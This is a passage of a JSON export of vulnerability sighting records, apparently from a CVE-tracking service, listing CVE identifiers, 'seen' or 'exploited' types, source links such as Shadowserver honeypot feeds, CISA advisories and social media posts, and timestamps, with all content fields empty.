"2c3053f4-d524-42b8-b6ad-c270945372d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12918", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114060119765999360", "content": "", "creation_timestamp": "2025-02-24T17:48:28.565469Z"}, {"uuid": "f22f5543-ecb7-4dc4-9cf3-c50247bdf6a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-02)", "content": "", "creation_timestamp": "2025-03-02T00:00:00.000000Z"}, {"uuid": "6d57158f-68db-4ac9-a12d-17e4283ab763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "content": "", "creation_timestamp": "2025-03-27T00:00:00.000000Z"}, {"uuid": "610ff991-e379-48e4-950b-55e6cc7c3db0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-28)", "content": "", "creation_timestamp": "2025-03-28T00:00:00.000000Z"}, {"uuid": "7011ddd3-6c1c-4b38-92a6-ef096fa33a71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-01)", "content": "", "creation_timestamp": "2025-04-01T00:00:00.000000Z"}, {"uuid": "1279eacf-2e95-48b7-811a-327db0ee2e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-02)", "content": "", "creation_timestamp": "2025-04-02T00:00:00.000000Z"}, {"uuid": "ec7047e4-4aef-432d-9be8-797139e5037f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-14)", "content": "", "creation_timestamp": "2025-07-14T00:00:00.000000Z"}, {"uuid": "549d7486-7b47-49a3-81c8-498cd89403f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12169", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-093-01", "content": "", "creation_timestamp": "2025-04-03T10:00:00.000000Z"}, {"uuid": "3d501f4c-9ff4-4f4f-a592-6bfdf3e28842", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-03)", "content": "", "creation_timestamp": "2025-04-03T00:00:00.000000Z"}, {"uuid": "426c4025-b200-4de0-ab0d-60b93f18ebdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-04)", "content": "", "creation_timestamp": "2025-04-04T00:00:00.000000Z"}, {"uuid": "a465c88c-f5f1-4bcf-a8bd-b9ff0dae0396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-05)", "content": "", "creation_timestamp": "2025-04-05T00:00:00.000000Z"}, {"uuid": "7e92fd34-20f0-42cc-b957-cf3305318a5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-06)", "content": "", "creation_timestamp": "2025-04-06T00:00:00.000000Z"}, {"uuid": "e772615a-6b29-4a8c-bf0c-5bde73e8e202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/ndouglas-cloudsmith/44943d8a7c6ed78006cf65ec5bb79d27", "content": "", "creation_timestamp": "2025-06-10T14:19:59.000000Z"}, {"uuid": "d1d154ae-3955-4fcf-8a07-b2e513614c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12168", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lqmusfk3e6a2", "content": "", "creation_timestamp": "2025-06-02T13:28:24.174799Z"}, {"uuid": "fc6b1e9f-c52a-4077-b32e-297483f25c2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-18)", "content": "", "creation_timestamp": "2025-05-18T00:00:00.000000Z"}, {"uuid": "7e7981e2-3917-4b62-a274-61992b72c250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-07)", "content": "", "creation_timestamp": "2025-04-07T00:00:00.000000Z"}, {"uuid": "1db49d95-7525-4000-8fa1-6b76b6a61b01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmdep7fpg42t", "content": "", "creation_timestamp": "2025-04-08T21:02:09.749731Z"}, {"uuid": "85bba75a-0393-4865-8642-1ec812a1d260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmdftviy6u2c", "content": "", "creation_timestamp": "2025-04-08T21:22:39.505314Z"}, {"uuid": "2177675b-53d2-42c8-9ee9-4f22a1bce3b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114304543986310341", "content": "", "creation_timestamp": "2025-04-08T21:48:46.632986Z"}, {"uuid": "0f524b97-6f03-458f-bd9f-cbb43a3cd7a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12915", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lstntpqz5r2q", "content": "", "creation_timestamp": "2025-06-30T16:59:28.387338Z"}, {"uuid": "8fd4a979-83fb-4648-96a1-1a7f2923d96d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12556", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3lmei3r2j2c2l", "content": "", "creation_timestamp": "2025-04-09T07:35:29.567475Z"}, {"uuid": "59c3902e-d3aa-4302-a7b2-34704b97f234", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lmeobwjg6k27", "content": "", "creation_timestamp": "2025-04-09T09:26:22.985612Z"}, {"uuid": "27d4632e-aa2f-43e1-88a7-b925048f780f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-08)", "content": "", "creation_timestamp": "2025-04-08T00:00:00.000000Z"}, {"uuid": "a0cbcbe0-c883-4774-a7bf-7e82881d5bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lmg4abras22i", "content": "", "creation_timestamp": "2025-04-09T23:08:40.224190Z"}, {"uuid": "148f797a-a8ec-4f8c-80ce-0ffbb3ec478d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12168", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114614296629933284", "content": "", "creation_timestamp": "2025-06-02T14:42:56.357248Z"}, {"uuid": "1949b4b5-bbf3-4793-b5f6-5c455201f049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-1231", "type": "seen", "source": "https://bsky.app/profile/intelrob.bsky.social/post/3lmgime6r6s27", "content": "", "creation_timestamp": "2025-04-10T02:50:06.782210Z"}, {"uuid": "2a2ce537-0fad-4e62-bd7c-46b09a709676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12556", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lmgnh2xsqs2o", "content": "", "creation_timestamp": "2025-04-10T04:16:41.839959Z"}, {"uuid": "a5ee7f2e-6997-4f97-8803-d1d6bf49ecee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-09)", "content": "", "creation_timestamp": "2025-04-09T00:00:00.000000Z"}, {"uuid": "774f77a2-af0c-431c-9fd2-ae53d5613d8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12799", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lmidtvqplc2m", "content": "", "creation_timestamp": "2025-04-10T20:30:10.917270Z"}, {"uuid": "44f29ba5-fa1e-450a-95f3-2fec9d32998f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lmj7anyfx52s", "content": "", "creation_timestamp": "2025-04-11T04:40:30.220701Z"}, {"uuid": "ee1ff301-c31c-45b8-9c81-addaeb8b6065", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12378", "type": "seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lmjigf7x6s2x", "content": "", "creation_timestamp": "2025-04-11T07:24:47.187388Z"}, {"uuid": "bc02c19c-0058-49ec-925a-6956be8920ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-10)", "content": "", "creation_timestamp": "2025-04-10T00:00:00.000000Z"}, {"uuid": "3cb73653-59be-41b1-9a06-6a0d6a9506da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-11)", "content": "", "creation_timestamp": "2025-04-11T00:00:00.000000Z"}, {"uuid": "6b50e88f-dcee-4497-8ce9-120046f3a316", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-12)", "content": "", "creation_timestamp": "2025-04-12T00:00:00.000000Z"}, {"uuid": "ef7d1051-4252-47bf-9b37-1c32b64a2495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-13)", "content": "", "creation_timestamp": "2025-04-13T00:00:00.000000Z"}, {"uuid": "5c9ce54b-9af1-459d-b7d3-dbfffa51bb5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3lpcasmrubt2x", "content": "", "creation_timestamp": "2025-05-16T14:35:23.134376Z"}, {"uuid": "25eba47b-9d49-4385-87f5-eabec583da60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-14)", "content": "", "creation_timestamp": "2025-04-14T00:00:00.000000Z"}, {"uuid": "a5296a20-7234-4d4a-8b1a-0a3c41e4fb36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12008", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmuxxzvqyr2t", "content": "", "creation_timestamp": "2025-04-15T21:02:27.785007Z"}, {"uuid": "2a00db09-e391-4f9f-bbea-9c7323d147bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmuxxzxyft2u", "content": "", "creation_timestamp": "2025-04-15T21:02:28.414005Z"}, {"uuid": "78963fba-d36b-41da-b1f7-801ef9dffac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12641", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmuxy22atb2e", "content": "", "creation_timestamp": "2025-04-15T21:02:28.967958Z"}, {"uuid": "b402a133-5fb8-4f44-ba6f-5d8cd156185c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-15)", "content": "", "creation_timestamp": "2025-04-15T00:00:00.000000Z"}, {"uuid": "d4b5e8ea-41f9-4211-a4f9-9bbf8bff39cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-16)", "content": "", "creation_timestamp": "2025-04-16T00:00:00.000000Z"}, {"uuid": "a74121ff-93a4-47ba-96e2-75f37f0fced4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12530", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114354482967202522", "content": "", "creation_timestamp": "2025-04-17T17:28:54.622916Z"}, {"uuid": "97464fda-81b7-4ab2-a43b-5802a86e5c85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-17)", "content": "", "creation_timestamp": "2025-04-17T00:00:00.000000Z"}, {"uuid": "5b5ada00-7473-4310-8cb6-05789910c409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lpcwgityxf2c", "content": "", "creation_timestamp": "2025-05-16T21:02:19.778538Z"}, {"uuid": "d098e843-e7f0-46b3-b46a-d869fccd9ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12342", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln4jem2w4m2u", "content": "", "creation_timestamp": "2025-04-18T21:02:14.204746Z"}, {"uuid": "ae677281-eb13-4c80-916c-2ad5f79dde88", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12344", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln4jem6ejy2t", "content": "", "creation_timestamp": "2025-04-18T21:02:14.845305Z"}, {"uuid": "6829f598-f9f2-4db6-b53f-c699c6682f08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12955", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln4jembf4c2t", "content": "", "creation_timestamp": "2025-04-18T21:02:15.486952Z"}, {"uuid": "6ee08e04-1f05-4780-8702-770d3e122d40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-18)", "content": "", "creation_timestamp": "2025-04-18T00:00:00.000000Z"}, {"uuid": "cd8b5aac-2d50-4c65-929b-e61f75e3583b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ln6cgc3cp225", "content": "", "creation_timestamp": "2025-04-19T14:03:14.837496Z"}, {"uuid": "f2e77252-01ae-4845-8cf0-6b1fc4aa5946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12483", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3ln6ztjr7xy27", "content": "", "creation_timestamp": "2025-04-19T21:02:18.362242Z"}, {"uuid": "0d494cea-16b3-48fb-8ca5-a78ce04d5c2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-19)", "content": "", "creation_timestamp": "2025-04-19T00:00:00.000000Z"}, {"uuid": "da177711-7a91-4570-a3e5-b8078ab95251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lpkhhfvp6k2g", "content": "", "creation_timestamp": "2025-05-19T20:55:41.948110Z"}, {"uuid": "94780fa0-375d-4bbc-a3eb-91cbb2ee5d22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-20)", "content": "", "creation_timestamp": "2025-04-20T00:00:00.000000Z"}, {"uuid": "4b23035e-ff76-4c57-9ef9-c38a6b10d659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:38.442887Z"}, {"uuid": "a9599df1-b99d-445b-b60d-b6eb60dbf14e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:39.982075Z"}, {"uuid": "2b65a3c3-25c8-498a-a63b-85e798eb65e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.089357Z"}, {"uuid": "0e1fa468-b5d2-46ce-b9b8-0a527ded0314", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.701681Z"}, {"uuid": "d947597d-b24d-4a89-a242-7d9d3c866a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12088", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.853845Z"}, {"uuid": "8b779c59-f51b-4bd5-93e6-3a98c0096e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:40.923497Z"}, {"uuid": "61c80d06-ece0-4e5f-8a27-fa9de1f66560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:41.335324Z"}, {"uuid": "5593eb62-2334-4518-ac99-6f8eefb875cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:41.861230Z"}, {"uuid": "2789f0c4-29e2-4ec4-9e4e-152fd399d354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3ltgqoa3tmza2", "content": "", "creation_timestamp": "2025-07-08T07:10:48.465139Z"}, {"uuid": "8d8ed079-cfda-40aa-80f0-88fc7397791e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lndtv7oqmo2c", "content": "", "creation_timestamp": "2025-04-21T18:59:10.982900Z"}, {"uuid": "fc872c47-a09e-49a0-82eb-374e312a3415", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-8e663f79-45a3417748370530", "content": "", "creation_timestamp": "2025-04-22T06:11:45.959891Z"}, {"uuid": "b61c2736-d169-4917-a9a0-0147692b8e3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-06-26)", "content": "", "creation_timestamp": "2025-06-26T00:00:00.000000Z"}, {"uuid": "e05a5aee-ca23-46ef-8f4d-f36cbe04793d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-21)", "content": "", "creation_timestamp": "2025-04-21T00:00:00.000000Z"}, {"uuid": "bfd57baa-754e-45e5-81dd-fda28f76eb08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-12322", "type": "seen", "source": "https://bsky.app/profile/intelrob.bsky.social/post/3lngk2phpdk2s", "content": "", "creation_timestamp": "2025-04-22T20:41:13.744230Z"}, {"uuid": "876ece76-9fa6-45ea-87c7-99d352043a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1221", "type": "seen", "source": "https://gist.github.com/falconwebsites/099fbf1928b96af4c5e40d257675ebab", "content": "", "creation_timestamp": "2025-05-22T16:51:14.000000Z"}, {"uuid": "90b4fd69-096c-4f84-b4a5-b81fa5bb8464", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "9fcbb2f4-b9f1-47e2-a551-34099a1f8215", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12243", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-162-05", "content": "", "creation_timestamp": "2025-06-12T10:00:00.000000Z"}, {"uuid": "892f329a-be1a-462c-892e-477288cbe745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-22)", "content": "", "creation_timestamp": "2025-04-22T00:00:00.000000Z"}, {"uuid": "7ffcfa6f-af37-4d89-b187-f57eae7a9ea8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/053ca026-a56e-47a6-9d17-dd5021a065a4", "content": "", "creation_timestamp": "2025-04-23T09:42:59.000000Z"}, {"uuid": "4a92f2cd-7c0f-4306-b2dc-906c6b359fd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 